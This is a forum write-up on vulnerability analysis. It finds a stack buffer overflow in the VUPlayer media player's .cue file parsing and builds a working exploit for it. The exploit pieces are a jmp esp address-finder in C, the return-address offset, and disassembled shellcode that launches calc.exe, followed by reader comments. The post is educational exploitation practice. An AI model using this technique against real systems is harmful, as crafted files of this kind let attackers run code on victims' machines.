吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 24041|回复: 38
收起左侧

[漏洞分析] 一个播放器缓冲区溢出分析

  [复制链接]
willJ 发表于 2012-5-5 22:40
本帖最后由 willJ 于 2012-5-5 22:45 编辑

[文件标题]:一个播放器缓冲区溢出分析
[文章作者]:willJ
[软件名称]: Vuplayer.exetest.cue
[下载地址]:附件
[运行环境]:虚拟机:Windows xp sp3(环境很重要)
[使用工具]:OD,C32,vc编译器
[作者声明]: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!

最近老大发了一个doc给我。
任务如下:
1      安装程序vuplayer。
2   安装完成后,vuplayer打开test.cue文件
3      Vuplayer为什么会崩溃(crash),造成其崩溃原因是什么?将分析过程用文档记录下来,越详细越好。
4   Vuplayer这个crash bug是否能利用,如果能利用的话,请写出利用代码。Shellcode的功能为:执行calc.exe。shellcode直接利用网上的即可(参考:exploit-db站点上)。
这个时候我比较囧啊,你给我的只是一个doc文件,哪里来的什么test.cue,什么vuplayer.exe。我仔细看了看doc才发现这么少的文字,怎么又这么大的体积:
1.jpg
原来老大用插入对象的方法插入了exe,快速的提取出来吧(这是一个小插曲)。
2.jpg
一.任务一:
安装好Vuplayer后,用Vuplayer打开test.cue,它就自动退出了,比较神奇。用OD载入Vuplayer吧,直接搜索字符串,发现了.cue:
3.jpg
双击进去,下断,运行主程序,打开test.cue,利用单步测试的方法,发现哪里异常然后再跳回去,最后定位在了00453313这个地方:
0045330B  |.  50            push eax                                 ; /String2
0045330C  |.  8D8D 10FCFFFF lea ecx,[local.252]                      ; |
00453312  |.  51            push ecx                                 ; |String1
00453313  |.  FF15 14125000 call dword ptr ds:[<&KERNEL32.lstrcpyA>] ; \lstrcpyA

应该是这个lstrcpyA在进行字符串拷贝的时候没有对其长度做检查造成溢出的,我们继续观察堆栈:
0012DF98  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012DFA8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012DFB8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012DFC8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012DFD8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012DFE8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012DFF8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E008  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E018  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E028  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E038  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E048  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E058  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E068  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E078  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E088  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E098  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E0A8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E0B8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E0C8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E0D8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E0E8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E0F8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E108  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E118  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E128  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E138  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E148  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E158  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E168  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E178  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E188  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E198  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E1A8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E1B8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E1C8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E1D8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E1E8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E1F8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E208  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E218  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E228  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E238  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E248  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E258  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E268  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E278  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E288  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E298  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E2A8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E2B8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E2C8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E2D8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E2E8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E2F8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E308  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E318  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E328  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E338  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E348  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E358  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E368  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E378  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E388  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E398  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E3A8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E3B8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E3C8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E3D8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E3E8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E3F8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E408  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E418  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E428  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E438  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E448  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E458  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E468  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E478  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E488  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E498  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E4A8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E4B8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E4C8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E4D8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E4E8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E4F8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E508  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E518  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E528  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E538  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E548  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E558  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E568  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E578  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E588  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E598  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E5A8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E5B8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E5C8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E5D8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E5E8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E5F8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E608  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E618  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E628  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E638  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E648  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E658  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E668  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E678  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E688  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E698  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E6A8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E6B8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E6C8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E6D8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E6E8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E6F8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E708  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E718  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E728  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E738  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E748  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E758  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E768  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E778  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E788  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E798  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E7A8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E7B8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E7C8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E7D8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E7E8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E7F8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E808  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E818  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E828  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E838  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E848  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E858  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E868  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E878  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E888  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E898  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E8A8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E8B8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E8C8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E8D8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E8E8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E8F8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E908  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E918  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E928  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E938  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E948  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E958  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E968  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E978  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E988  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E998  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E9A8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E9B8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E9C8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E9D8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E9E8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012E9F8  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012EA08  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012EA18  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012EA28  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012EA38  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012EA48  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
0012EA58  41 41 41 41 41 41 41 41 41 2E 42 49 4E 00 E0 73  AAAAAAAAA.BIN.鄐
0012EA68  D4 86 E0 73 D4 86 E0 73 D4 86 E0 73 D4 86 E0 73  詥鄐詥鄐詥鄐詥鄐

堆栈从0012DF98到12EA60都被覆盖成了41(A),这样肯定也会造成返回点被覆盖了,我们尝试单步走到tetn,发现报错了:
4.jpg
这里很明显的确定了返回到了41414141地方,造成程序不知道该如何运行报错,到这里任务一就完成了。
二.任务二:
现在我们要利用这个漏洞在打开一个.cue文件后打开记事本的操作,这里就要求我们写shellcode了。
在正常执行的时候,返回点应该是:
0012E38C  |00455747 返回到VUPlayer.00455747 来自 VUPlayer.004532A0
我们就在这里做手脚,让它返回到我们要执行的shellcode的地方,达到我们的目的,在这里我采用的方法是:
5.jpg
我们先获取系统中jmp esp的地址,其实在user32.dll还有kernel32.dll中有许多这样的指定,我们利用下就是了,查找地址的代码如下:
#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
        BYTE* ptr;
        int position,address;
        HINSTANCE handle;
        BOOL done_flag = FALSE;

        handle=LoadLibrary(DLL_NAME);

        if(!handle)
        {
                printf(" load dll erro !");
                exit(0);
        }

        ptr = (BYTE*)handle;
        
        for(position = 0; !done_flag; position++)
        {
                try
                {
                        if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
                        {
                                //0xFFE4 is the opcode of jmp esp
                                int address = (int)ptr + position;
                                printf("OPCODE found at 0x%x\n",address);
                        }
                }
                catch(...)
                {
                        int address = (int)ptr + position;
                        printf("END OF 0x%x\n", address);
                        done_flag = true;
                }
        }
}


6.jpg
这些都可以使用的,我用的是第一个,覆盖返回值的地方据第一个A(41)距离为1012字节,然后我们填写77d29353(这里得满足高位读取的方法填写):
7.jpg
紧跟后面的就是我们的shellcode啦,写这个shellcode的时候一定得注意不能有0啊,不然会被截断的,下面是我利用的shellcode:
0012E390    53              push ebx                                 ; VUPlayer.004667E0
0012E391    93              xchg eax,ebx
0012E392    D277 53         sal byte ptr ds:[edi+0x53],cl
0012E395    93              xchg eax,ebx
0012E396    D277 53         sal byte ptr ds:[edi+0x53],cl
0012E399    93              xchg eax,ebx
0012E39A    D277 55         sal byte ptr ds:[edi+0x55],cl
0012E39D    8BEC            mov ebp,esp
0012E39F    33C0            xor eax,eax
0012E3A1    50              push eax
0012E3A2    83EC 0C         sub esp,0xC
0012E3A5    C645 F0 6B      mov byte ptr ss:[ebp-0x10],0x6B
0012E3A9    C645 F1 65      mov byte ptr ss:[ebp-0xF],0x65
0012E3AD    C645 F2 72      mov byte ptr ss:[ebp-0xE],0x72
0012E3B1    C645 F3 6E      mov byte ptr ss:[ebp-0xD],0x6E
0012E3B5    C645 F4 65      mov byte ptr ss:[ebp-0xC],0x65
0012E3B9    C645 F5 6C      mov byte ptr ss:[ebp-0xB],0x6C
0012E3BD    C645 F6 33      mov byte ptr ss:[ebp-0xA],0x33
0012E3C1    C645 F7 32      mov byte ptr ss:[ebp-0x9],0x32
0012E3C5    C645 F8 2E      mov byte ptr ss:[ebp-0x8],0x2E
0012E3C9    C645 F9 64      mov byte ptr ss:[ebp-0x7],0x64
0012E3CD    C645 FA 6C      mov byte ptr ss:[ebp-0x6],0x6C
0012E3D1    C645 FB 6C      mov byte ptr ss:[ebp-0x5],0x6C
0012E3D5    8D45 F0         lea eax,dword ptr ss:[ebp-0x10]
0012E3D8    50              push eax
0012E3D9    B8 7B1D807C     mov eax,kernel32.LoadLibraryA
0012E3DE    FFD0            call eax                                 ; LoadLibrary("Kernel32.dll")
0012E3E0    8BE5            mov esp,ebp
0012E3E2    33C0            xor eax,eax
0012E3E4    50              push eax
0012E3E5    83EC 08         sub esp,0x8
0012E3E8    C645 F4 63      mov byte ptr ss:[ebp-0xC],0x63
0012E3EC    C645 F5 61      mov byte ptr ss:[ebp-0xB],0x61
0012E3F0    C645 F6 6C      mov byte ptr ss:[ebp-0xA],0x6C
0012E3F4    C645 F7 63      mov byte ptr ss:[ebp-0x9],0x63
0012E3F8    C645 F8 2E      mov byte ptr ss:[ebp-0x8],0x2E
0012E3FC    C645 F9 65      mov byte ptr ss:[ebp-0x7],0x65
0012E400    C645 FA 78      mov byte ptr ss:[ebp-0x6],0x78
0012E404    C645 FB 65      mov byte ptr ss:[ebp-0x5],0x65
0012E408    6A 03           push 0x3
0012E40A    8D45 F4         lea eax,dword ptr ss:[ebp-0xC]
0012E40D    33D2            xor edx,edx
0012E40F    52              push edx
0012E410    52              push edx
0012E411    50              push eax
0012E412    52              push edx
0012E413    52              push edx
0012E414    B8 5011617D     mov eax,SHELL32.ShellExecuteA            ; shellExecute(0,0,"calc.exe",0,0,3)
0012E419    FFD0            call eax
0012E41B    52              push edx
0012E41C    B8 7E9EC077     mov eax,msvcrt.exit
0012E421    FFD0            call eax                                 ; exit(0)让程序安全退出


前面的LoadLibrary没有用的,只是刚开始想用LG(LoadLibrary, GetProcAddress)去获取WinExec来打开计算器,后面发现程序自带了ShellExecute,就用现成的吧,偷懒啦,在OD中二进制复制,然后粘贴在test.cue对应的位置:
8.jpg
尝试下成果吧,打开Vuplayer.exe,然后用其打开test.cue,只见Vuplayer.exe退出了,计算器打开了,成功的完成了第二个任务。
9.jpg
三.总结:
这个漏洞应该就是软件编写者没有对文件参数赋值检查大小造成的,可以在拷贝前检查其长度可以修复这个漏洞。
参考了《0day安全:软件漏洞分析技术》这本书的很多资料,感谢作者带来这么优秀的书籍给我们这种菜菜阅读。
很多分析不当的地方还请大牛们多多指导,小弟会虚心学习。
软件安装包:
VUPlayer.rar (1.63 MB, 下载次数: 125)
利用程序:
test.rar (303 Bytes, 下载次数: 75)


免费评分

参与人数 2热心值 +2 收起 理由
KaQqi + 1 我很赞同!
半斤八兩 + 1 厉害啊willj牛牛.原来你是专门挖掘0day的吖.

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

loudy 发表于 2013-11-14 16:12
很易懂,适合入门,缓冲区溢出还是很好利用的
Rookietp 发表于 2012-5-5 22:49
 楼主| willJ 发表于 2012-5-5 22:51
xiaobang 发表于 2012-5-5 22:49
沙发膜拜J牛

邦姐莫笑小弟,我要多多向你学习
ximo 发表于 2012-5-5 22:58
原来是coolc的小弟?
naima12530 发表于 2012-5-5 23:15
哈哈不错支持
naima12530 发表于 2012-5-5 23:16
哈哈不错支持
 楼主| willJ 发表于 2012-5-6 10:13
ximo 发表于 2012-5-5 22:58
原来是coolc的小弟?

为什么ximo大大这么说,可是我现在还处于漂浮状态。。。
oo789458 发表于 2012-5-6 11:03
哎  楼上都是  大牛  学习
 楼主| willJ 发表于 2012-5-6 11:11
oo789458 发表于 2012-5-6 11:03
哎  楼上都是  大牛  学习

我是菜菜
good123 发表于 2012-5-6 14:20
小菜菜进来学习一下了,膜拜大牛V5
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 16:26

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表